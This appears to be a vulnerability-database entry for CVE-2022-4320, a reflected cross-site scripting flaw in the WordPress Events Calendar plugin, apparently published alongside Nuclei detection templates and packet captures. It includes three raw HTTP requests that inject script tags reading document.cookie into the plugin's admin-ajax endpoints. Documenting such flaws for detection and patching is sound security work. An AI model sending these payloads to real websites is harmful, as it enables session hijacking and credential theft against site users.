| Title | WordPress Events Calendar <1.4.5 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Fixed in version 1.4.5. |
| CVSS Score | 6.1 |
| EPSS Score | 0.15457 |
| CVE ID | CVE-2022-4320 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 calendar event xss wordpress wp wp-plugin wpscan mhsoftware vuln |
WordPress Events Calendar plugin before 1.4.5 contains multiple cross-site scripting vulnerabilities. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against both unauthenticated and authenticated users.
GET /wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX"><script>alert(document.cookie)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(document.cookie)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod&by_id=/../../../../../../r%26_=--><script>alert(document.cookie)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4320.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4320.pcap
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